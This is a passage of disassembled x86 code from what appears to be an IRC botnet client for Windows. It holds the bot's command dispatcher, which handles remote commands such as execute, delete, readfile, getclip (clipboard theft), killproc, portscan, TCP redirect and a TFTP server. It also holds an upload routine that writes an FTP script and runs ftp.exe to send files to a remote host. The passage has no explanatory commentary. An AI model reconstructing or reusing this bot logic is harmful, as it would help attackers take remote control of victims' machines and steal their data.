		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_405185
		add	esp, 18h


loc_4074D5:				; CODE XREF: sub_406BAB+8DCj
					; sub_406BAB+8EDj ...
		dec	[ebp+arg_8]
		sub	edi, 4
		cmp	[ebp+arg_8], ebx
		jg	loc_407453
		lea	eax, [ebp+esi+var_64]
		mov	[ebp+arg_8], 10h
		mov	edi, eax


loc_4074F1:				; CODE XREF: sub_406BAB+989j
		push	[ebp+arg_8]
		lea	eax, [ebp+var_20]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_40B0B3
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE60
		add	esp, 14h
		test	eax, eax
		jz	short loc_40752B
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40752B
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_405185
		add	esp, 0Ch


loc_40752B:				; CODE XREF: sub_406BAB+968j
					; sub_406BAB+96Ej
		dec	[ebp+arg_8]
		sub	edi, 4
		cmp	[ebp+arg_8], ebx
		jg	short loc_4074F1
		mov	edi, [ebp+arg_C]
		mov	[ebp+var_AC], 1


loc_407543:				; CODE XREF: sub_406BAB+6EBj
					; sub_406BAB+720j
		mov	al, [edi]
		cmp	al, byte_41C0E8
		jz	short loc_407559
		cmp	[ebp+var_AC], ebx
		jz	loc_407715


loc_407559:				; CODE XREF: sub_406BAB+9A0j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_405185
		lea	eax, [ebp+var_C8]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_405185
		push	[ebp+var_9C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_405185
		push	ebx
		push	ebx
		lea	eax, [ebp+var_20]
		push	2
		push	eax
		call	sub_4061FA
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_405185
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_405185
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_40CE60
		add	esp, 14h
		jmp	loc_407690
; ---------------------------------------------------------------------------


loc_4075CD:				; CODE XREF: sub_406BAB+AE7j
		push	edi
		push	[ebp+arg_0]
		call	sub_40CE60
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_40B110
		lea	eax, [ebp+var_20]
		push	offset asc_41D7A8 ; ")"
		push	eax
		call	sub_40D07C
		add	esp, 1Ch
		cmp	[ebp+var_20], 30h
		jl	short loc_407605
		cmp	[ebp+var_20], 39h
		jle	short loc_407618


loc_407605:				; CODE XREF: sub_406BAB+A52j
		push	3
		lea	eax, [ebp+var_20]
		push	offset a63	; "63"
		push	eax
		call	sub_40B110
		add	esp, 0Ch


loc_407618:				; CODE XREF: sub_406BAB+A58j
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_40C3AF
		test	eax, eax
		pop	ecx
		jle	short loc_407635
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_40C3AF
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_407646
; ---------------------------------------------------------------------------


loc_407635:				; CODE XREF: sub_406BAB+A79j
		call	sub_40B54F
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl


loc_407646:				; CODE XREF: sub_406BAB+A88j
		lea	eax, [ebp+var_20]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_40B5B0
		mov	[ebp+arg_8], eax
		push	0Ch
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_40B630
		mov	eax, [ebp+arg_8]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_10]
		push	eax
		call	sub_40B110
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	[ebp+arg_0]
		call	sub_405185
		push	edi
		push	[ebp+arg_0]
		call	sub_40CE60
		add	esp, 30h


loc_407690:				; CODE XREF: sub_406BAB+A1Dj
		test	eax, eax
		jnz	loc_4075CD
		mov	edi, 1FFh
		lea	eax, [ebp+var_C78]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_40B110
		lea	eax, [ebp+var_C78]
		push	edi
		push	eax
		lea	eax, [ebp+var_E78]
		push	eax
		call	sub_40B110
		mov	edi, offset asc_41D8FC ; " "
		lea	eax, [ebp+var_E78]
		push	edi
		push	eax
		call	sub_40D07C
		add	esp, 20h
		mov	[ebp+var_A4], eax
		mov	[ebp+arg_8], 1


loc_4076E3:				; CODE XREF: sub_406BAB+B52j
		push	edi
		push	ebx
		call	sub_40D07C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 20h
		mov	[ebp+ecx*4+var_A4], eax
		jl	short loc_4076E3
		lea	eax, [ebp+esi+var_A4]
		mov	ecx, [eax]
		cmp	ecx, ebx
		jz	loc_406FF9
		add	ecx, 3
		mov	[eax], ecx


loc_407715:				; CODE XREF: sub_406BAB+9A8j
		mov	edi, [ebp+esi+var_A4]
		push	edi
		push	offset aRndnick	; "rndnick"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409EF6
		push	edi
		push	offset aRn	; "rn"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409EF6
		push	edi
		push	offset aDie	; "die"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409ED4
		push	edi
		push	offset aDe	; "de"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409ED4
		push	edi
		push	offset aLogout	; "logout"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409E30
		push	edi
		push	offset aLo	; "lo"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409E30
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4077C3
		push	[ebp+esi+var_A0]
		push	1Ah
		push	offset aLogList	; "Log list"
		push	offset aLog	; "LOG "
		jmp	loc_409E14
; ---------------------------------------------------------------------------


loc_4077C3:				; CODE XREF: sub_406BAB+BFEj
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4077EC
		push	[ebp+esi+var_A0]
		push	0Fh
		push	offset aTcpRedirect ; "TCP redirect"
		push	offset aRedirect_0 ; "REDIRECT "
		jmp	loc_409E14
; ---------------------------------------------------------------------------


loc_4077EC:				; CODE XREF: sub_406BAB+C27j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407815
		push	[ebp+esi+var_A0]
		push	4
		push	offset aServer	; "Server"
		push	offset aTftp_0	; "TFTP	"
		jmp	loc_409E14
; ---------------------------------------------------------------------------


loc_407815:				; CODE XREF: sub_406BAB+C50j
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409E01
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409E01
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407868
		push	[ebp+esi+var_A0]
		push	18h
		push	offset aSecure	; "Secure"
		push	offset aSecure_0 ; "SECURE "
		jmp	loc_409E14
; ---------------------------------------------------------------------------


loc_407868:				; CODE XREF: sub_406BAB+CA3j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407891
		push	[ebp+esi+var_A0]
		push	7
		push	offset aProcess	; "process"
		push	offset aRooting	; "Rooting"
		jmp	loc_409E14
; ---------------------------------------------------------------------------


loc_407891:				; CODE XREF: sub_406BAB+CCCj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409DE8
		push	edi
		push	offset aStats	; "stats"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409DE8
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409DD2
		push	edi
		push	offset aR	; "r"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409DD2
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409DBB
		push	edi
		push	offset aD	; "d"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409DBB
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409D72
		push	edi
		push	offset aQ	; "q"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409D72
		push	edi
		push	offset aStatus	; "status"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409D34
		push	edi
		push	offset aS_2	; "s"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409D34
		push	edi
		push	offset aIdw	; "idw"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409CFD
		push	edi
		push	offset aIdw	; "idw"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409CFD
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4079DF
		call	sub_4054A5
		test	eax, eax
		mov	eax, offset unk_41D658
		jnz	short loc_4079B1
		mov	eax, offset unk_41D630


loc_4079B1:				; CODE XREF: sub_406BAB+DFFj
		push	eax
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_40B0B3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 1Ch
		jmp	loc_408A8B
; ---------------------------------------------------------------------------


loc_4079DF:				; CODE XREF: sub_406BAB+DF1j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409C10
		push	edi
		push	offset aT	; "t"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409C10
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409BFA
		push	edi
		push	offset aAl	; "al"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409BFA
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409BCA
		push	edi
		push	offset aNi	; "ni"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409BCA
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409BB3
		push	edi
		push	offset aSi	; "si"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409BB3
		push	edi
		push	offset aRrmm010kt ; "rrmm010kt"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409B79
		push	edi
		push	offset aRrmm010kt ; "rrmm010kt"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409B79
		push	edi
		push	offset aProcs	; "procs"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A5E
		push	edi
		push	offset aPs	; "ps"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A5E
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099D7
		push	edi
		push	offset aUp	; "up"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099D7
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099B7
		push	edi
		push	offset aDrv	; "drv"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099B7
		push	edi
		push	offset aWho	; "who"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407BB6
		cmp	[ebp+var_8], ebx
		jnz	short loc_407B5F
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 14h


loc_407B5F:				; CODE XREF: sub_406BAB+F98j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_407B64:				; CODE XREF: sub_406BAB+FFFj
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_407B70
		mov	eax, offset aEmpty ; "<Empty>"


loc_407B70:				; CODE XREF: sub_406BAB+FBEj
		push	eax
		push	esi
		lea	eax, [ebp+var_2E4]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_40B0B3
		push	1
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_407B64
		push	offset unk_41D584
		jmp	loc_40919C
; ---------------------------------------------------------------------------


loc_407BB6:				; CODE XREF: sub_406BAB+F93j
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40996E
		push	edi
		push	offset aGc	; "gc"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40996E
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409943
		push	edi
		push	offset aFarp	; "farp"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409943
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409913
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409913
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4098D6
		push	edi
		push	offset aCip	; "cip"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4098D6
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097A1
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097A1
		push	edi
		push	offset aAlls	; "alls"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409496
		push	edi
		push	offset aAlls	; "alls"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409496
		mov	eax, [ebp+esi+var_A0]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_406FF9
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409489
		push	edi
		push	offset aN	; "n"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409489
		push	edi
		push	offset aJoin	; "join"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40947A
		push	edi
		push	offset aJ	; "j"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40947A
		push	edi
		push	offset aPart_0	; "part"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40946D
		push	edi
		push	offset aPt	; "pt"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40946D
		push	edi
		push	offset aRaw	; "raw"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409444
		push	edi
		push	offset aR	; "r"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409444
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409387
		push	edi
		push	offset aK	; "k"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409387
		push	edi
		push	offset aPrefixw	; "prefixw"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936E
		push	edi
		push	offset aPrw	; "prw"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936E
		push	edi
		push	offset aOpen	; "open"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933A
		push	edi
		push	offset aO	; "o"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933A
		push	edi
		push	offset aServerw	; "serverw"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409311
		push	edi
		push	offset aSew	; "sew"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409311
		push	edi
		push	offset aDns	; "dns"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092A1
		push	edi
		push	offset aDn	; "dn"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092A1
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409265
		push	edi
		push	offset aKp	; "kp"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409265
		push	edi
		push	offset aKill	; "kill"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409206
		push	edi
		push	offset aKi	; "ki"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409206
		push	edi
		push	offset aDelete	; "delete"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A7
		push	edi
		push	offset aDel	; "del"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A7
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409131
		push	edi
		push	offset aMirc_0	; "mirc"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409131
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A3
		push	edi
		push	offset aRf	; "rf"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A3
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FBF
		push	edi
		push	offset aGh	; "gh"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FBF
		mov	eax, [ebp+esi+var_9C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_406FF9
		push	edi
		push	offset aAddalias ; "addalias"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F7C
		push	edi
		push	offset aAa	; "aa"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F7C
		push	edi
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F3D
		push	edi
		push	offset aPm	; "pm"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F3D
		push	edi
		push	offset aAction	; "action"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EDB
		push	edi
		push	offset aA_0	; "a"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EDB
		push	edi
		push	offset aCycle	; "cycle"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E7D
		push	edi
		push	offset aCy	; "cy"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E7D
		push	edi
		push	offset aMode	; "mode"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E4C
		push	edi
		push	offset aM	; "m"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E4C
		push	edi
		push	offset aRepeat	; "repeat"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D84
		push	edi
		push	offset aRp	; "rp"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D84
		push	edi
		push	offset aDelay	; "delay"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF0
		push	edi
		push	offset aDe	; "de"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF0
		push	edi
		push	offset aKkttupw	; "kkttupw"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B3D
		push	edi
		push	offset aKkttupw	; "kkttupw"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B3D
		push	edi
		push	offset aExecute	; "execute"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408AA2
		push	edi
		push	offset aE	; "e"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408AA2
		push	edi
		push	offset aRename	; "rename"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A1A
		push	edi
		push	offset aMv	; "mv"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A1A
		push	edi
		push	offset aKktt	; "kktt"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088A2
		push	edi
		push	offset aKktt	; "kktt"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088A2
		push	edi
		push	offset aRedirect ; "redirect"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4087A3
		push	edi
		push	offset aRd	; "rd"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4087A3
		push	edi
		push	offset aPortscan ; "portscan"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AB
		push	edi
		push	offset aPsc	; "psc"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AB
		cmp	[ebp+esi+var_94], ebx
		jz	loc_406FF9
		push	edi
		push	offset aAss	; "ass"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408353
		push	edi
		push	offset aAas	; "aas"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408353
		cmp	[ebp+esi+var_90], ebx
		jz	loc_406FF9
		push	edi
		push	offset aUpload	; "upload"
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409F32
		mov	edi, [ebp+esi+var_90]
		push	4
		push	edi
		call	sub_4037EA
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40821B
		push	edi
		push	offset dword_41D3A4


loc_4081E2:				; CODE XREF: sub_406BAB+1AE6j
					; sub_406BAB+27FEj
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_40B0B3
		add	esp, 0Ch


loc_4081F1:				; CODE XREF: sub_406BAB+1AFBj
					; sub_406BAB+240Fj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_409B55
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]


loc_40820E:				; CODE XREF: sub_406BAB+1E58j
		call	sub_404555
		add	esp, 14h
		jmp	loc_409B55
; ---------------------------------------------------------------------------


loc_40821B:				; CODE XREF: sub_406BAB+162Fj
		call	dword_41705C	; GetTickCount
		push	eax
		call	sub_40B545
		pop	ecx
		call	sub_40B54F
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_40B54F
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_40B54F
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_3E8]
		push	edx
		push	eax
		lea	eax, [ebp+var_A78]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_40B0B3
		lea	eax, [ebp+var_A78]
		push	offset aAb	; "ab"
		push	eax
		call	sub_40C7B8
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_406FF9
		push	edi
		push	[ebp+esi+var_94]
		push	[ebp+esi+var_98]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_40D411
		push	[ebp+arg_24]
		call	sub_40C3BA
		lea	eax, [ebp+var_A78]
		push	eax
		lea	eax, [ebp+var_530]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_40B0B3
		add	esp, 2Ch
		lea	eax, [ebp+var_530]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_42B358
		push	[ebp+arg_10]
		test	eax, eax
		push	edi
		jz	short loc_4082F1
		push	offset dword_41D334
		jmp	short loc_4082F6
; ---------------------------------------------------------------------------


loc_4082F1:				; CODE XREF: sub_406BAB+173Dj
		push	offset dword_41D304


loc_4082F6:				; CODE XREF: sub_406BAB+1744j
		call	sub_40B0B3
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40831F
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 14h


loc_40831F:				; CODE XREF: sub_406BAB+1756j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_403145
		jmp	short loc_408339
; ---------------------------------------------------------------------------


loc_40832D:				; CODE XREF: sub_406BAB+17A1j
		lea	eax, [ebp+var_A78]
		push	eax
		call	sub_40D3E7


loc_408339:				; CODE XREF: sub_406BAB+1780j
		lea	eax, [ebp+var_A78]
		push	4
		push	eax
		call	sub_4037EA
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40832D
		jmp	loc_406FF9
; ---------------------------------------------------------------------------


loc_408353:				; CODE XREF: sub_406BAB+15DFj
					; sub_406BAB+15F4j
		push	7
		call	sub_40AC96
		push	[ebp+arg_18]
		mov	edi, eax
		call	sub_40C3AF
		add	eax, edi
		pop	ecx
		cmp	eax, 258h
		pop	ecx
		jle	short loc_408397
		push	edi
		lea	eax, [ebp+var_2E4]
		push	offset unk_41D2C4
		push	eax
		call	sub_40B0B3
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_9C]
		jmp	loc_408F2D
; ---------------------------------------------------------------------------


loc_408397:				; CODE XREF: sub_406BAB+17C2j
		push	[ebp+arg_10]
		call	sub_40C3AF
		push	[ebp+arg_18]
		mov	[ebp+var_31C], eax
		call	sub_40C3AF
		push	[ebp+esi+var_98]
		mov	[ebp+var_304], eax
		call	sub_40C3AF
		add	esp, 0Ch
		cmp	eax, 3
		mov	[ebp+var_318], eax
		jnb	short loc_4083D6
		push	3
		pop	eax
		mov	[ebp+var_318], eax


loc_4083D6:				; CODE XREF: sub_406BAB+1820j
		push	0Ah
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_4083E3
		mov	[ebp+var_318], ecx


loc_4083E3:				; CODE XREF: sub_406BAB+1830j
		push	[ebp+esi+var_94]
		call	sub_40C3AF
		mov	[ebp+var_314], eax
		mov	eax, 3E7h
		cmp	[ebp+var_314], eax
		pop	ecx
		jbe	short loc_408409
		mov	[ebp+var_314], eax


loc_408409:				; CODE XREF: sub_406BAB+1856j
		or	[ebp+var_300], 0FFFFFFFFh
		cmp	dword_419068, ebx
		mov	[ebp+arg_8], ebx
		jz	short loc_408458
		mov	edi, offset dword_419068


loc_408420:				; CODE XREF: sub_406BAB+188Fj
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_40C250
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40843E
		inc	[ebp+arg_8]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_408420
		jmp	short loc_408458
; ---------------------------------------------------------------------------


